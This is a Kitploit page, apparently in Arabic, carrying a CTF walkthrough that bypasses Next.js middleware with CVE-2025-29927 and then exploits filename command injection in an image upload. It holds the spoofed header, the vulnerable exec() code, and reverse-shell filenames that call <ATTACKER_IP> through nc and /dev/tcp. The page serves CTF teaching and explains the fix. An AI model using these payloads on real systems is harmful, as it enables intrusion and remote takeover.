Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927-Proof-of-Concept — تحدي Capture the Flag: CVE-2025-29927 بالاشتراك مع ثغرة حقن الأوامر | Kitploit
أدوات/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
كسر كلمات المرورتصعيد الامتيازاتتحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFالقيادة والسيطرةالتعلم والتعليم
GitHubsi-ni/cve-2025-29927-proof-of-concept

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-29927-Proof-of-Concept

تحدي Capture the Flag: CVE-2025-29927 بالاشتراك مع ثغرة حقن الأوامر

عرض المستودع
13منذ 8 أشهرلم تتم المراجعة بعد

دليل تفصيلي

الخطوة 1 (5 دقائق)

تلميح ما هي خدمات الشبكة المكشوفة من الهدف؟

— — —

الحل

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

الخطوة 2 (5 دقائق)

تلميح 1 الصفحة الرئيسية تظهر فقط صفحة تسجيل دخول، لكن خوادم الويب غالباً ما تكشف عن مسارات إضافية.
تلميح 2 حاول استخدام أداة تخمين أدلة مثل Gobuster أو DirBuster.

— — —

الحل

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

الخطوة 3 (20 دقيقة)

تلميح 1 صفحة /dashboard تعيد التوجيه إلى /login. هل يمكنك العثور على أي معلومات في صفحة تسجيل الدخول تسمح لك بتجاوز إعادة التوجيه؟
image
تلميح 2 هل يمكنك العثور على شيء خاص بـ Next.js الإصدار 15.2.2؟
تلميح 3 ابحث في CVE-2025-29927. استخدم وكيل Burp Suite لاعتراض الطلب والتلاعب برؤوس الطلب قبل إعادة التوجيه.

— — —

الحل

خلفية

العديد من تطبيقات الويب تحمي المسارات الحساسة (مثل /dashboard) باستخدام middleware. يقوم middleware بالتحقق من الطلب، والتحقق من صحة ملفات تعريف الارتباط للجلسة، وتأكيد صلاحيات المستخدم. إذا فشلت الفحوصات، يقوم middleware عادةً بإعادة توجيه المستخدم إلى /login.

آلية الثغرة

CVE-2025-29927 هو خلل تصميمي في معالجة middleware في Next.js. يسمح للمهاجم بتجاوز حماية middleware بالكامل من خلال استغلال الرأس x-middleware-subrequest. يستخدم Next.js هذا الرأس داخليًا لمنع حلقات middleware اللانهائية. عند معالجة طلب، تتحقق دالة runMiddleware من رؤوس الطلب:
  • إذا كان الرأس x-middleware-subrequest موجودًا
  • وقيمته تحتوي على اسم middleware
  • فإن Next.js يتخطى تنفيذ middleware ويقوم بإعادة توجيه الطلب مباشرة
من المفترض أن يكون هذا تحسينًا داخليًا، لكن الخلل هو أن المستخدمين الخارجيين يمكنهم أيضًا تعيين هذا الرأس.

الكود الضعيف


    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

للإصدارات 13.2.0 وما بعده

قدم Next.js عمقًا أقصى للتكرار لتنفيذ middleware. تم تنفيذ ذلك لمنع الحلقات اللانهائية لكنه لا يؤثر على الثغرة.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
باستخدام هذا الرأس، نخبر middleware: "هذا طلب تم إنشاؤه بالفعل بواسطة middleware - لا تنفذ middleware مرة أخرى."
image image

الإصلاح

يقوم Next.js الآن بإزالة الرأس x-middleware-subrequest من جميع الطلبات الخارجية الواردة قبل تشغيل middleware. يتم الوثوق بالرأس فقط عندما يتم إنشاؤه داخل بيئة تشغيل Next.js أثناء تسلسل middleware الشرعي. بشكل ملموس، يتم الآن التحقق من قيمة x-middleware-subrequest مقابل سلسلة عشوائية سداسية عشرية، مما يضمن أن طلبات الجلسة الداخلية الشرعية فقط هي التي تجتاز فحوصات التفويض. لذلك حتى إذا أرسل مهاجم الرأس، يمكن لـ Next.js الآن التمييز بين طلب فرعي داخلي حقيقي (يحمل الرمز العشوائي الصحيح) وآخر مزيف من مهاجم خارجي.

الخطوة 4 (15 دقيقة)

تلميح 1 رفع الملفات محمي أيضًا بواسطة middleware، لذا يجب عليك أيضًا إرسال الرأس من الخطوة 3 مع كل طلب.
تلميح 2 إدخال المستخدم دائمًا يشكل خطرًا كبيرًا. ما هو الشيء الآخر بجانب محتوى الملف الذي يُعتبر إدخال مستخدم هنا؟ وهل يمكنك العثور على أي معلومات في الصفحة تكشف كيف تتم معالجة الصورة؟
تلميح 3 جرب بعض أسماء الملفات الخبيثة. https://www.revshells.com/

— — —

الحل

شرح


    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
اسم الملف الأصلي يتحكم به المستخدم ويمكن أن يحتوي على أحرف خبيثة. المطور يزيل بعض الأحرف الخطيرة (قائمة سوداء بدلاً من القائمة البيضاء). يتم تنفيذ أمر convert باستخدام exec()، ويتم إدراج اسم الملف الأصلي (إدخال المستخدم) مباشرة في أمر shell. أحد الإصلاحات يمكن أن يكون استخدام أسماء ملفات عشوائية بدلاً من أسماء ملفات المستخدم واستخدام API آمن يتجنب shell.

استغلال


    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
أسماء ملفات خبيثة:

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
image

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
العلم موجود في /home/webuser:

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}
  

مكافأة (5 دقائق)

تلميح 1 ما هي صلاحيات sudo التي يمتلكها webuser؟
تلميح 2 أدوات مثل John the Ripper أو Hashcat قد تساعد. فك ضغط الملف rockyou.txt.gz بالأمر gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

تنزيل الأداة